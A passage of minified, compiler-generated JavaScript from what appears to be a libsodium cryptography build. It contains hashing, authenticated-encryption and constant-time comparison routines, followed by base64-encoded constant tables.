I=n=I-16|0,s[n+15|0]=0,A=-1,0|Ie[a[8806]](t,e,r)||(s[n+15|0]=c[0|t]|c[n+15|0],s[n+15|0]=c[t+1|0]|c[n+15|0],s[n+15|0]=c[t+2|0]|c[n+15|0],s[n+15|0]=c[t+3|0]|c[n+15|0],s[n+15|0]=c[t+4|0]|c[n+15|0],s[n+15|0]=c[t+5|0]|c[n+15|0],s[n+15|0]=c[t+6|0]|c[n+15|0],s[n+15|0]=c[t+7|0]|c[n+15|0],s[n+15|0]=c[t+8|0]|c[n+15|0],s[n+15|0]=c[t+9|0]|c[n+15|0],s[n+15|0]=c[t+10|0]|c[n+15|0],s[n+15|0]=c[t+11|0]|c[n+15|0],s[n+15|0]=c[t+12|0]|c[n+15|0],s[n+15|0]=c[t+13|0]|c[n+15|0],s[n+15|0]=c[t+14|0]|c[n+15|0],s[n+15|0]=c[t+15|0]|c[n+15|0],s[n+15|0]=c[t+16|0]|c[n+15|0],s[n+15|0]=c[t+17|0]|c[n+15|0],s[n+15|0]=c[t+18|0]|c[n+15|0],s[n+15|0]=c[t+19|0]|c[n+15|0],s[n+15|0]=c[t+20|0]|c[n+15|0],s[n+15|0]=c[t+21|0]|c[n+15|0],s[n+15|0]=c[t+22|0]|c[n+15|0],s[n+15|0]=c[t+23|0]|c[n+15|0],s[n+15|0]=c[t+24|0]|c[n+15|0],s[n+15|0]=c[t+25|0]|c[n+15|0],s[n+15|0]=c[t+26|0]|c[n+15|0],s[n+15|0]=c[t+27|0]|c[n+15|0],s[n+15|0]=c[t+28|0]|c[n+15|0],s[n+15|0]=c[t+29|0]|c[n+15|0],s[n+15|0]=c[t+30|0]|c[n+15|0],s[n+15|0]=c[t+31|0]|c[n+15|0],A=(c[n+15|0]<<23)-8388608>>31),I=n+16|0,A}function et(t,e){var r,n,A,i,o,c,h,u=0,l=0;n=a[e+32>>2],A=a[e+28>>2],i=a[e+24>>2],o=a[e+20>>2],c=a[e+16>>2],h=a[e+12>>2],u=a[e+4>>2],l=a[e>>2],r=a[e+36>>2],e=a[e+8>>2],l=g((n+(A+(i+(o+(c+(h+((u+(l+(g(r,19)+16777216>>>25|0)>>26)>>25)+e>>26)>>25)>>26)>>25)>>26)>>25)>>26)+r>>25,19)+l|0,s[0|t]=l,s[t+2|0]=l>>>16,s[t+1|0]=l>>>8,u=u+(l>>26)|0,s[t+5|0]=u>>>14,s[t+4|0]=u>>>6,s[t+3|0]=l>>>24&3|u<<2,e=e+(u>>25)|0,s[t+8|0]=e>>>13,s[t+7|0]=e>>>5,s[t+6|0]=e<<3|(29360128&u)>>>22,l=(e>>26)+h|0,s[t+11|0]=l>>>11,s[t+10|0]=l>>>3,s[t+9|0]=l<<5|(65011712&e)>>>21,u=(l>>25)+c|0,s[t+15|0]=u>>>18,s[t+14|0]=u>>>10,s[t+13|0]=u>>>2,e=(u>>26)+o|0,s[t+16|0]=e,s[t+12|0]=u<<6|(33030144&l)>>>19,s[t+18|0]=e>>>16,s[t+17|0]=e>>>8,u=(e>>25)+i|0,s[t+21|0]=u>>>15,s[t+20|0]=u>>>7,s[t+19|0]=e>>>24&1|u<<1,e=(u>>26)+A|0,s[t+24|0]=e>>>13,s[t+23|0]=e>>>5,s[t+22|0]=e<<3|(58720256&u)>>>23,u=(e>>25)+n|0,s[t+27|0]=u>>>12,s[t+26|0]=u>>>4,s[t+25|0]=u<<4|(31457280&e)>>>21,e=r+(u>>26)|0,s[t+30|0]=e>>>10,s[t+29|0]=e>>>2,s[t+31|0]=(33292288&e)>>>18,s[t+28|0]=e<<6|(66060288&u)>>>20}function rt(t,e,r){var n,A=0,i=0,o=0,a=0,h=0,g=0,u=0;if(I=n=I-192|0,r>>>0>=129&&(gt(t),G(t,e,r,0),D(t,n),r=64,e=n),gt(t),xt(n- -64|0,54,128),r){if(r>>>0>=4)for(u=252&r;s[0|(A=(o=n- -64|0)+i|0)]=c[0|A]^c[e+i|0],s[0|(a=(A=1|i)+o|0)]=c[0|a]^c[e+A|0],s[0|(a=(A=2|i)+o|0)]=c[0|a]^c[e+A|0],s[0|(A=(A=o)+(o=3|i)|0)]=c[0|A]^c[e+o|0],i=i+4|0,(0|u)!=(0|(h=h+4|0)););if(h=3&r)for(;s[0|(o=(n- -64|0)+i|0)]=c[0|o]^c[e+i|0],i=i+1|0,(0|h)!=(0|(g=g+1|0)););}if(G(t,i=n- -64|0,128,0),gt(o=t+208|0),xt(i,92,128),r){if(g=0,i=0,r>>>0>=4)for(u=252&r,h=0;s[0|(A=(t=n- -64|0)+i|0)]=c[0|A]^c[e+i|0],s[0|(a=(A=1|i)+t|0)]=c[0|a]^c[e+A|0],s[0|(a=(A=2|i)+t|0)]=c[0|a]^c[e+A|0],s[0|(A=(A=t)+(t=3|i)|0)]=c[0|A]^c[t+e|0],i=i+4|0,(0|u)!=(0|(h=h+4|0)););if(t=3&r)for(;s[0|(r=(n- -64|0)+i|0)]=c[0|r]^c[e+i|0],i=i+1|0,(0|t)!=(0|(g=g+1|0)););}return G(o,t=n- -64|0,128,0),oe(t,128),oe(n,64),I=n+192|0,0}function nt(t,e){var r;return a[12+(r=I-16|0)>>2]=t,a[r+8>>2]=e,a[r+4>>2]=0,a[r+4>>2]=a[r+4>>2]|c[a[r+12>>2]]^c[a[r+8>>2]],a[r+4>>2]=a[r+4>>2]|c[a[r+12>>2]+1|0]^c[a[r+8>>2]+1|0],a[r+4>>2]=a[r+4>>2]|c[a[r+12>>2]+2|0]^c[a[r+8>>2]+2|0],a[r+4>>2]=a[r+4>>2]|c[a[r+12>>2]+3|0]^c[a[r+8>>2]+3|0],a[r+4>>2]=a[r+4>>2]|c[a[r+12>>2]+4|0]^c[a[r+8>>2]+4|0],a[r+4>>2]=a[r+4>>2]|c[a[r+12>>2]+5|0]^c[a[r+8>>2]+5|0],a[r+4>>2]=a[r+4>>2]|c[a[r+12>>2]+6|0]^c[a[r+8>>2]+6|0],a[r+4>>2]=a[r+4>>2]|c[a[r+12>>2]+7|0]^c[a[r+8>>2]+7|0],a[r+4>>2]=a[r+4>>2]|c[a[r+12>>2]+8|0]^c[a[r+8>>2]+8|0],a[r+4>>2]=a[r+4>>2]|c[a[r+12>>2]+9|0]^c[a[r+8>>2]+9|0],a[r+4>>2]=a[r+4>>2]|c[a[r+12>>2]+10|0]^c[a[r+8>>2]+10|0],a[r+4>>2]=a[r+4>>2]|c[a[r+12>>2]+11|0]^c[a[r+8>>2]+11|0],a[r+4>>2]=a[r+4>>2]|c[a[r+12>>2]+12|0]^c[a[r+8>>2]+12|0],a[r+4>>2]=a[r+4>>2]|c[a[r+12>>2]+13|0]^c[a[r+8>>2]+13|0],a[r+4>>2]=a[r+4>>2]|c[a[r+12>>2]+14|0]^c[a[r+8>>2]+14|0],a[r+4>>2]=a[r+4>>2]|c[a[r+12>>2]+15|0]^c[a[r+8>>2]+15|0],(a[r+4>>2]-1>>>8&1)-1|0}function At(t,e){var r,n=0,A=0;r=e;t:if(n=255&e){if(3&t)for(;;){if(!(e=c[0|t])|(0|e)==(255&r))break t;if(!(3&(t=t+1|0)))break}e:if(!(~(e=a[t>>2])&e-16843009&-2139062144))for(n=g(n,16843009);;){if(~(e^=n)&e-16843009&-2139062144)break e;if(e=a[t+4>>2],t=t+4|0,e-16843009&~e&-2139062144)break}for(;e=t,(n=c[0|t])&&(t=t+1|0,(0|n)!=(255&r)););t=e}else{n=t;e:{r:{n:if(3&t){if(e=0,!c[0|t])break e;for(;;){if(!(3&(t=t+1|0)))break n;if(!c[0|t])break}break r}for(;e=t,t=t+4|0,!(~(A=a[e>>2])&A-16843009&-2139062144););for(;e=(t=e)+1|0,c[0|t];);}e=t-n|0}t=e+n|0}return c[0|t]==(255&r)?t:0}function it(t,e,r,n,A,i,o){var s,c,h=0,g=0,u=0;I=s=I-96|0,O(s,i,o),o=s+32|0,c=i+16|0,Ie[a[8808]](o,32,0,c,s),i=-1;t:{if(!(0|Ie[a[8802]](r,e,n,A,o))){if(i=0,!t)break t;!((!A&n>>>0>e-t>>>0|!!(0|A))&t>>>0>>0)&(!A&n>>>0<=t-e>>>0|t>>>0<=e>>>0)||(e=kt(t,e,n)),g=o=(i=!A&n>>>0>=32|!!(0|A))?0:A,(r=i?32:n)|o?(u=Mt(s- -64|0,e,r),Jt(i=s+32|0,i,h=r+32|0,o=h>>>0<32?o+1|0:o,c,s),Mt(t,u,r)):Jt(i=s+32|0,i,h=r+32|0,o=h>>>0<32?o+1|0:o,c,s),oe(s+32|0,64),i=0,!A&n>>>0<33||zt(t+r|0,e+r|0,n-r|0,A-(g+(r>>>0>n>>>0)|0)|0,c,s)}oe(s,32)}return I=s+96|0,i}function ot(t,e,r,n,A,i,o){var s,c,h,g,u=0;return I=s=I-352|0,O(s,i,o),!((!A&n>>>0>t-r>>>0|!!(0|A))&t>>>0>r>>>0)&(!A&n>>>0<=r-t>>>0|t>>>0>=r>>>0)||(r=kt(t,r,n)),a[s+56>>2]=0,a[s+60>>2]=0,a[s+48>>2]=0,a[s+52>>2]=0,a[s+40>>2]=0,a[s+44>>2]=0,a[s+32>>2]=0,a[s+36>>2]=0,(h=!((o=(u=!A&n>>>0>=32|!!(0|A))?32:n)|(u=u?0:A)))||Mt(s- -64|0,r,o),Jt(c=s+32|0,c,g=o+32|0,g>>>0<32?u+1|0:u,i=i+16|0,s),ne(s+96|0,c),h||Mt(t,s- -64|0,o),oe(s+32|0,64),!A&n>>>0>=33|A&&zt(t+o|0,r+o|0,n-o|0,A-(u+(n>>>0>>0)|0)|0,i,s),oe(s,32),$t(r=s+96|0,t,n,A),Ae(r,e),oe(r,256),I=s+352|0,0}function st(t,e,r,n,A,i,o,s,h,g){var u,l;return I=u=I-400|0,a[u+4>>2]=0,L(l=u+16|0,h,g),g=c[h+20|0]|c[h+21|0]<<8|c[h+22|0]<<16|c[h+23|0]<<24,a[u+8>>2]=c[h+16|0]|c[h+17|0]<<8|c[h+18|0]<<16|c[h+19|0]<<24,a[u+12>>2]=g,Wt(g=u+80|0,64,u+4|0,l),ne(h=u+144|0,g),oe(g,64),$t(h,i,o,s),$t(h,33904,0-o&15,0),$t(h,e,r,n),$t(h,33904,0-r&15,0),a[u+72>>2]=o,a[u+76>>2]=s,$t(h,i=u+72|0,8,0),a[u+72>>2]=r,a[u+76>>2]=n,$t(h,i,8,0),Ae(h,i=u+48|0),oe(h,256),h=nt(i,A),oe(i,16),t&&(h?(xt(t,0,r),h=-1):(Lt(t,e,r,n,u+4|0,u+16|0),h=0)),oe(u+16|0,32),I=u+400|0,h}function at(t,e,r,n,A,i,o,s,h,g,u){var l,f,p;return I=l=I-384|0,a[l+4>>2]=0,L(f=l+16|0,g,u),u=c[g+20|0]|c[g+21|0]<<8|c[g+22|0]<<16|c[g+23|0]<<24,a[l+8>>2]=c[g+16|0]|c[g+17|0]<<8|c[g+18|0]<<16|c[g+19|0]<<24,a[l+12>>2]=u,Wt(u=l- -64|0,64,p=l+4|0,f),ne(g=l+128|0,u),oe(u,64),$t(g,o,s,h),$t(g,33904,0-s&15,0),Lt(t,n,A,i,p,f),$t(g,t,A,i),$t(g,33904,0-A&15,0),a[l+56>>2]=s,a[l+60>>2]=h,$t(g,t=l+56|0,8,0),a[l+56>>2]=A,a[l+60>>2]=i,$t(g,t,8,0),Ae(g,e),oe(g,256),r&&(a[r>>2]=16,a[r+4>>2]=0),oe(l+16|0,32),I=l+384|0,0}function ct(t,e,r,n){var A,i=0;return I=A=I-208|0,a[A+72>>2]=0,a[A+76>>2]=0,i=a[8579],a[A+8>>2]=a[8578],a[A+12>>2]=i,i=a[8581],a[A+16>>2]=a[8580],a[A+20>>2]=i,i=a[8583],a[A+24>>2]=a[8582],a[A+28>>2]=i,i=a[8585],a[A+32>>2]=a[8584],a[A+36>>2]=i,i=a[8587],a[A+40>>2]=a[8586],a[A+44>>2]=i,i=a[8589],a[A+48>>2]=a[8588],a[A+52>>2]=i,i=a[8591],a[A+56>>2]=a[8590],a[A+60>>2]=i,a[A+64>>2]=0,a[A+68>>2]=0,i=a[8577],a[A>>2]=a[8576],a[A+4>>2]=i,G(A,e,r,n),D(A,t),I=A+208|0,0}function ht(t,e){var r,n=0,A=0,i=0;if(s[15+(r=I-16|0)|0]=0,e){if(A=3&e,e>>>0>=4)for(i=-4&e,e=0;s[r+15|0]=c[t+n|0]|c[r+15|0],s[r+15|0]=c[(1|n)+t|0]|c[r+15|0],s[r+15|0]=c[(2|n)+t|0]|c[r+15|0],s[r+15|0]=c[(3|n)+t|0]|c[r+15|0],n=n+4|0,(0|i)!=(0|(e=e+4|0)););if(A)for(e=0;s[r+15|0]=c[t+n|0]|c[r+15|0],n=n+1|0,(0|A)!=(0|(e=e+1|0)););}return c[r+15|0]-1>>>8&1}function gt(t){var e=0;a[t+64>>2]=0,a[t+68>>2]=0,a[t+72>>2]=0,a[t+76>>2]=0,e=a[8577],a[t>>2]=a[8576],a[t+4>>2]=e,e=a[8579],a[t+8>>2]=a[8578],a[t+12>>2]=e,e=a[8581],a[t+16>>2]=a[8580],a[t+20>>2]=e,e=a[8583],a[t+24>>2]=a[8582],a[t+28>>2]=e,e=a[8585],a[t+32>>2]=a[8584],a[t+36>>2]=e,e=a[8587],a[t+40>>2]=a[8586],a[t+44>>2]=e,e=a[8589],a[t+48>>2]=a[8588],a[t+52>>2]=e,e=a[8591],a[t+56>>2]=a[8590],a[t+60>>2]=e}function ut(t,e,r){var n,A=0,i=0;if(a[12+(n=I-16|0)>>2]=t,a[n+8>>2]=e,t=0,s[n+7|0]=0,r){if(e=1&r,1!=(0|r))for(i=-2&r,r=0;s[n+7|0]=c[n+7|0]|c[a[n+12>>2]+t|0]^c[a[n+8>>2]+t|0],A=1|t,s[n+7|0]=c[n+7|0]|c[A+a[n+12>>2]|0]^c[a[n+8>>2]+A|0],t=t+2|0,(0|i)!=(0|(r=r+2|0)););e&&(s[n+7|0]=c[n+7|0]|c[a[n+12>>2]+t|0]^c[a[n+8>>2]+t|0])}return(c[n+7|0]-1>>>8&1)-1|0}function lt(t){for(var e=0,r=0,n=0,A=0,i=0,o=0,s=0,a=0,h=0,g=0;A=(r=c[t+n|0])^c[0|(e=n+2448|0)]|A,i=r^c[e+192|0]|i,o=r^c[e+160|0]|o,s=r^c[e+128|0]|s,a=r^c[e+96|0]|a,h=r^c[e- -64|0]|h,g=r^c[e+32|0]|g,31!=(0|(n=n+1|0)););return((255&((e=127^(t=127&c[t+31|0]))|i))-1|(255&(e|o))-1|(255&(e|s))-1|(255&(122^t|a))-1|(255&(5^t|h))-1|(255&(t|g))-1|(255&(t|A))-1)>>>8&1}function ft(t,e,r){var n=0,A=0,i=0,o=0;return A=31&(i=o=63&r),i=i>>>0>=32?-1>>>A|0:(n=-1>>>A|0)|(1<>>0>=32?(n=i<>>32-A|n<>>0>=32?(n=-1<>>32-n,t&=r,e&=n,n=31&A,A>>>0>=32?(r=0,t=e>>>n|0):(r=e>>>n|0,t=((1<>>n),y=r|i,t|o}function pt(t,e,r,n,A,i,o,s,c,h){var g,u,l;return I=g=I-352|0,Wt(l=g+32|0,64,c,h),ne(u=g+96|0,l),oe(l,64),$t(u,i,o,s),$t(u,33920,0-o&15,0),$t(u,e,r,n),$t(u,33920,0-r&15,0),a[g+24>>2]=o,a[g+28>>2]=s,$t(u,i=g+24|0,8,0),a[g+24>>2]=r,a[g+28>>2]=n,$t(u,i,8,0),Ae(u,g),oe(u,256),i=nt(g,A),oe(g,16),t&&(i?(xt(t,0,r),i=-1):(Et(t,e,r,n,c,1,h),i=0)),I=g+352|0,i}function dt(t,e,r,n,A,i,o,s,c,h,g){var u,l,f;return I=u=I-336|0,Wt(f=u+16|0,64,h,g),ne(l=u+80|0,f),oe(f,64),$t(l,o,s,c),$t(l,33920,0-s&15,0),Et(t,n,A,i,h,1,g),$t(l,t,A,i),$t(l,33920,0-A&15,0),a[u+8>>2]=s,a[u+12>>2]=c,$t(l,t=u+8|0,8,0),a[u+8>>2]=A,a[u+12>>2]=i,$t(l,t,8,0),Ae(l,e),oe(l,256),r&&(a[r>>2]=16,a[r+4>>2]=0),I=u+336|0,0}function It(t,e,r,n,A,i,o,s,c,h){var g,u,l;return I=g=I-352|0,Zt(l=g+32|0,c,h),ne(u=g+96|0,l),oe(l,64),$t(u,i,o,s),a[g+24>>2]=o,a[g+28>>2]=s,$t(u,i=g+24|0,8,0),$t(u,e,r,n),a[g+24>>2]=r,a[g+28>>2]=n,$t(u,i,8,0),Ae(u,g),oe(u,256),i=nt(g,A),oe(g,16),t&&(i?(xt(t,0,r),i=-1):(Ht(t,e,r,n,c,h),i=0)),I=g+352|0,i}function yt(t,e,r,n,A,i,o,s,c,h,g){var u,l,f;return I=u=I-336|0,Zt(f=u+16|0,h,g),ne(l=u+80|0,f),oe(f,64),$t(l,o,s,c),a[u+8>>2]=s,a[u+12>>2]=c,$t(l,o=u+8|0,8,0),Ht(t,n,A,i,h,g),$t(l,t,A,i),a[u+8>>2]=A,a[u+12>>2]=i,$t(l,o,8,0),Ae(l,e),oe(l,256),r&&(a[r>>2]=16,a[r+4>>2]=0),I=u+336|0,0}function Ct(t,e){var r;for(a[12+(r=I-16|0)>>2]=t,a[r+8>>2]=e,t=0,a[r+4>>2]=0;a[r+4>>2]=a[r+4>>2]|c[a[r+12>>2]+t|0]^c[a[r+8>>2]+t|0],e=1|t,a[r+4>>2]=a[r+4>>2]|c[e+a[r+12>>2]|0]^c[e+a[r+8>>2]|0],32!=(0|(t=t+2|0)););return(a[r+4>>2]-1>>>8&1)-1|0}function mt(t){var e=0,r=0,n=0,A=0;for(e=1;e=c[0|(r=t+n|0)]+e|0,s[0|r]=e,e=c[0|(r=(1|n)+t|0)]+(e>>>8|0)|0,s[0|r]=e,e=c[0|(r=(2|n)+t|0)]+(e>>>8|0)|0,s[0|r]=e,e=c[0|(r=(3|n)+t|0)]+(e>>>8|0)|0,s[0|r]=e,e=e>>>8|0,n=n+4|0,4!=(0|(A=A+4|0)););}function Bt(t,e,r,n){var A,i,o,s,a=0,c=0;return s=g(a=r>>>16|0,c=t>>>16|0),a=(65535&(c=((o=g(A=65535&r,i=65535&t))>>>16|0)+g(c,A)|0))+g(a,i)|0,y=(g(e,r)+s|0)+g(t,n)+(c>>>16)+(a>>>16)|0,65535&o|a<<16}function Et(t,e,r,n,A,o,s){var c=0,h=0;c=n,1==(((c=(h=r+63|0)>>>0<63?c+1|0:c)>>>6|0)+!!(0|(c=(63&c)<<26|h>>>6))|0)&o>>>0>(h=0-c|0)>>>0|1==(0|n)|n>>>0>1?(Kt(),i()):Ie[a[8813]](t,e,r,n,A,o,s)}function wt(t){var e=0;a[t+32>>2]=0,a[t+36>>2]=0,e=a[8485],a[t>>2]=a[8484],a[t+4>>2]=e,e=a[8487],a[t+8>>2]=a[8486],a[t+12>>2]=e,e=a[8489],a[t+16>>2]=a[8488],a[t+20>>2]=e,e=a[8491],a[t+24>>2]=a[8490],a[t+28>>2]=e}function vt(t,e){t|=0;var r,n=0,A=0,i=0;if(I=r=I-16|0,e|=0)for(;s[r+15|0]=0,A=t+n|0,i=0|l(35256,r+15|0,0),s[0|A]=i,(0|(n=n+1|0))!=(0|e););I=r+16|0}function _t(t,e,r,n,A,i,o){var s,a,c=0;return I=s=I-32|0,c=-1,(a=r>>>0<16)&!n||Nt(s,i,o)||(c=it(t,e+16|0,e,r-16|0,n-a|0,A,s),oe(s,32)),I=s+32|0,c}function Qt(t){var e,r;return(t=(e=a[8800])+(r=t+7&-8)|0)>>>0<=e>>>0&&r||t>>>0>ye()<<16>>>0&&!(0|d(0|t))?(a[9005]=48,-1):(a[8800]=t,e)}function bt(t,e){var r,n,A;I=r=I-176|0,X(n=r+96|0,e+80|0),v(A=r+48|0,e,n),v(r,e+40|0,n),et(t,r),et(r+144|0,A),s[t+31|0]=c[t+31|0]^c[r+144|0]<<7,I=r+176|0}function kt(t,e,r){var n=0;if(t>>>0>>0)return Mt(t,e,r);if(r)for(n=t+r|0,e=e+r|0;e=e-1|0,s[0|(n=n-1|0)]=c[0|e],r=r-1|0;);return t}function Dt(t,e,r,n,A,o,s){var a,c=0;if(I=a=I-32|0,!n&r>>>0<4294967280)return c=-1,Nt(a,o,s)||(c=ot(t+16|0,t,e,r,n,A,a),oe(a,32)),I=a+32|0,c;Kt(),i()}function St(t,e,r,n,A,i){return e|=0,0|(!(n|=0)&(r|=0)>>>0>=16|n?it(t|=0,e+16|0,e,r-16|0,n-(r>>>0<16)|0,A|=0,i|=0):-1)}function Nt(t,e,r){t|=0;var n,A=0;return I=n=I-32|0,A=-1,tt(n,r|=0,e|=0)||(A=O(t,35184,n)),I=n+32|0,0|A}function Mt(t,e,r){var n=0;if(r)for(n=t;s[0|n]=c[0|e],n=n+1|0,e=e+1|0,r=r-1|0;);return t}function xt(t,e,r){var n=0;if(r)for(n=t;s[0|n]=e,n=n+1|0,r=r-1|0;);return t}function Ft(t,e,r){return t|=0,e|=0,(r|=0)>>>0>=256&&(f(1260,1187,107,1067),i()),0|S(t,e,255&r)}function Pt(t,e){var r;I=r=I+-64|0,D(t,r),G(t=t+208|0,r,64,0),D(t,e),oe(r,64),I=r- -64|0}function Tt(t,e,r,n,A,i,o){return 0|ot(t|=0,e|=0,r|=0,n|=0,A|=0,i|=0,o|=0)}function Rt(t,e,r,n,A,i,o){return 0|it(t|=0,e|=0,r|=0,n|=0,A|=0,i|=0,o|=0)}function Ut(t,e){var r;I=r=I-32|0,Y(t,r),K(t=t+104|0,r,32),Y(t,e),oe(r,32),I=r+32|0}function Gt(t,e){var r=0;return(-1>>>(r=31&e)&t)<>>t}function Ht(t,e,r,n,A,o){1==(0|n)|n>>>0>1&&(Kt(),i()),Ie[a[8812]](t,e,r,n,A,1,0,o)}function Lt(t,e,r,n,A,o){1==(0|n)|n>>>0>1&&(Kt(),i()),Ie[a[8813]](t,e,r,n,A,1,o)}function Ot(){var t;I=t=I-16|0,s[t+15|0]=0,l(35292,t+15|0,0),I=t+16|0}function Yt(t,e,r){return 0|tt(t|=0,e|=0,r|=0)}function Kt(){var t;(t=a[9137])&&Ie[0|t](),p(),i()}function Jt(t,e,r,n,A,i){Ie[a[8809]](t,e,r,n,A,0,0,i)}function jt(t,e){return t|=0,vt(e|=0,32),0|ee(t,e)}function zt(t,e,r,n,A,i){Ie[a[8809]](t,e,r,n,A,1,0,i)}function qt(t){return t?31-u(t-1^t)|0:32}function Xt(t,e,r,n){Ie[a[8813]](t,e,40,0,r,0,n)}function Vt(t,e){return 0|ee(t|=0,e|=0)}function Wt(t,e,r,n){Ie[a[8811]](t,e,0,r,n)}function Zt(t,e,r){Ie[a[8810]](t,64,0,e,r)}function $t(t,e,r,n){Ie[a[8804]](t,e,r,n)}function te(t,e,r,n){return G(t,e,r,n),0}function ee(t,e){return 0|Ie[a[8807]](t,e)}function re(t,e,r){return K(t,e,r),0}function ne(t,e){Ie[a[8803]](t,e)}function Ae(t,e){Ie[a[8805]](t,e)}function ie(t){vt(t|=0,32)}function oe(t,e){xt(t,0,e)}function se(){return 208}function ae(){return 16}function ce(){return 32}function he(){return 24}function ge(){return-17}function ue(){return 64}function le(){return 1}function fe(){return 8}function pe(){return 0}A(e=c,1024,\"TGlic29kaXVtRFJHcmFuZG9tYnl0ZXMAYjY0X3BvcyA8PSBiNjRfbGVuAGNyeXB0b19nZW5lcmljaGFzaF9ibGFrZTJiX2ZpbmFsAHJhbmRvbWJ5dGVzL3JhbmRvbWJ5dGVzLmMAc29kaXVtL2NvZGVjcy5jAGNyeXB0b19nZW5lcmljaGFzaC9ibGFrZTJiL3JlZi9ibGFrZTJiLXJlZi5jAGNyeXB0b19nZW5lcmljaGFzaC9ibGFrZTJiL3JlZi9nZW5lcmljaGFzaF9ibGFrZTJiLmMAYnVmX2xlbiA8PSBTSVpFX01BWABvdXRsZW4gPD0gVUlOVDhfTUFYAFMtPmJ1ZmxlbiA8PSBCTEFLRTJCX0JMT0NLQllURVMAMS4wLjE5AHNvZGl1bV9iaW4yYmFzZTY0AAAAAAAAAAC2eFn/hXLTAL1uFf8PCmoAKcABAJjoef+8PKD/mXHO/wC34v60DUj/AAAAAAAAAACwoA7+08mG/54YjwB/aTUAYAy9AKfX+/+fTID+amXh/x78BACSDK4=\"),A(e,1440,\"WfGy/grlpv973Sr+HhTUAFKAAwAw0fMAd3lA/zLjnP8AbsUBZxuQ\"),A(e,1488,\"hTuMAb3xJP/4JcMBYNw3ALdMPv/DQj0AMkykAeGkTP9MPaP/dT4fAFGRQP92QQ4AonPW/waKLgB85vT/CoqPADQawgC49EwAgY8pAb70E/97qnr/YoFEAHnVkwBWZR7/oWebAIxZQ//v5b4BQwu1AMbwif7uRbz/Q5fuABMqbP/lVXEBMkSH/xFqCQAyZwH/UAGoASOYHv8QqLkBOFno/2XS/AAp+kcAzKpP/w4u7/9QTe8AvdZL/xGN+QAmUEz/vlV1AFbkqgCc2NABw8+k/5ZCTP+v4RD/jVBiAUzb8gDGonIALtqYAJsr8f6boGj/M7ulAAIRrwBCVKAB9zoeACNBNf5F7L8ALYb1AaN73QAgbhT/NBelALrWRwDpsGAA8u82ATlZigBTAFT/iKBkAFyOeP5ofL4AtbE+//opVQCYgioBYPz2AJeXP/7vhT4AIDicAC2nvf+OhbMBg1bTALuzlv76qg7/0qNOACU0lwBjTRoA7pzV/9XA0QFJLlQAFEEpATbOTwDJg5L+qm8Y/7EhMv6rJsv/Tvd0ANHdmQCFgLIBOiwZAMknOwG9E/wAMeXSAXW7dQC1s7gBAHLbADBekwD1KTgAfQ3M/vStdwAs3SD+VOoUAPmgxgHsfur/L2Oo/qrimf9ms9gA4o16/3pCmf629YYA4+QZAdY56//YrTj/tefSAHeAnf+BX4j/bn4zAAKpt/8HgmL+RbBe/3QE4wHZ8pH/yq0fAWkBJ/8ur0UA5C86/9fgRf7POEX/EP6L/xfP1P/KFH7/X9Vg/wmwIQDIBc//8SqA/iMhwP/45cQBgRF4APtnl/8HNHD/jDhC/yji9f/ZRiX+rNYJ/0hDhgGSwNb/LCZwAES4S//OWvsAleuNALWqOgB09O8AXJ0CAGatYgDpiWABfzHLAAWblAAXlAn/03oMACKGGv/bzIgAhggp/+BTK/5VGfcAbX8A/qmIMADud9v/563VAM4S/v4Iugf/fgkHAW8qSABvNOz+YD+NAJO/f/7NTsD/DmrtAbvbTACv87v+aVmtAFUZWQGi85QAAnbR/iGeCQCLoy7/XUYoAGwqjv5v/I7/m9+QADPlp/9J/Jv/XnQM/5ig2v+c7iX/s+rP/8UAs/+apI0A4cRoAAojGf7R1PL/Yf3e/rhl5QDeEn8BpIiH/x7PjP6SYfMAgcAa/slUIf9vCk7/k1Gy/wQEGACh7tf/Bo0hADXXDv8ptdD/54udALPL3f//uXEAveKs/3FC1v/KPi3/ZkAI/06uEP6FdUT/\"),A(e,2480,\"AQ==\"),A(e,2512,\"JuiVj8KyJ7BFw/SJ8u+Y8NXfrAXTxjM5sTgCiG1T/AXHF2pwPU3YT7o8C3YNEGcPKiBT+iw5zMZOx/13kqwDeuz///////////////////////////////////////9/7f///////////////////////////////////////3/u////////////////////////////////////////f+3T9VwaYxJY1pz3ot753hQ=\"),A(e,2703,\"EIU7jAG98ST/+CXDAWDcNwC3TD7/w0I9ADJMpAHhpEz/TD2j/3U+HwBRkUD/dkEOAKJz1v8Gii4AfOb0/wqKjwA0GsIAuPRMAIGPKQG+9BP/e6p6/2KBRAB51ZMAVmUe/6FnmwCMWUP/7+W+AUMLtQDG8In+7kW8/+pxPP8l/zn/RbK2/oDQswB2Gn3+AwfW//EyTf9Vy8X/04f6/xkwZP+71bT+EVhpAFPRngEFc2IABK48/qs3bv/ZtRH/FLyqAJKcZv5X1q7/cnqbAeksqgB/CO8B1uzqAK8F2wAxaj3/BkLQ/wJqbv9R6hP/12vA/0OX7gATKmz/5VVxATJEh/8RagkAMmcB/1ABqAEjmB7/EKi5AThZ6P9l0vwAKfpHAMyqT/8OLu//UE3vAL3WS/8RjfkAJlBM/75VdQBW5KoAnNjQAcPPpP+WQkz/r+EQ/41QYgFM2/IAxqJyAC7amACbK/H+m6Bo/7IJ/P5kbtQADgWnAOnvo/8cl50BZZIK//6eRv5H+eQAWB4yAEQ6oP+/GGgBgUKB/8AyVf8Is4r/JvrJAHNQoACD5nEAfViTAFpExwD9TJ4AHP92AHH6/gBCSy4A5torAOV4ugGURCsAiHzuAbtrxf9UNfb/M3T+/zO7pQACEa8AQlSgAfc6HgAjQTX+Rey/AC2G9QGje90AIG4U/zQXpQC61kcA6bBgAPLvNgE5WYoAUwBU/4igZABcjnj+aHy+ALWxPv/6KVUAmIIqAWD89gCXlz/+74U+ACA4nAAtp73/joWzAYNW0wC7s5b++qoO/0RxFf/eujv/QgfxAUUGSABWnGz+N6dZAG002/4NsBf/xCxq/++VR/+kjH3/n60BADMp5wCRPiEAim9dAblTRQCQcy4AYZcQ/xjkGgAx2eIAcUvq/sGZDP+2MGD/Dg0aAIDD+f5FwTsAhCVR/n1qPADW8KkBpONCANKjTgAlNJcAY00aAO6c1f/VwNEBSS5UABRBKQE2zk8AyYOS/qpvGP+xITL+qybL/073dADR3ZkAhYCyATosGQDJJzsBvRP8ADHl0gF1u3UAtbO4AQBy2wAwXpMA9Sk4AH0NzP70rXcALN0g/lTqFAD5oMYB7H7q/48+3QCBWdb/N4sF/kQUv/8OzLIBI8PZAC8zzgEm9qUAzhsG/p5XJADZNJL/fXvX/1U8H/+rDQcA2vVY/vwjPAA31qD/hWU4AOAgE/6TQOoAGpGiAXJ2fQD4/PoAZV7E/8aN4v4zKrYAhwwJ/m2s0v/F7MIB8UGaADCcL/+ZQzf/2qUi/kq0swDaQkcBWHpjANS12/9cKuf/7w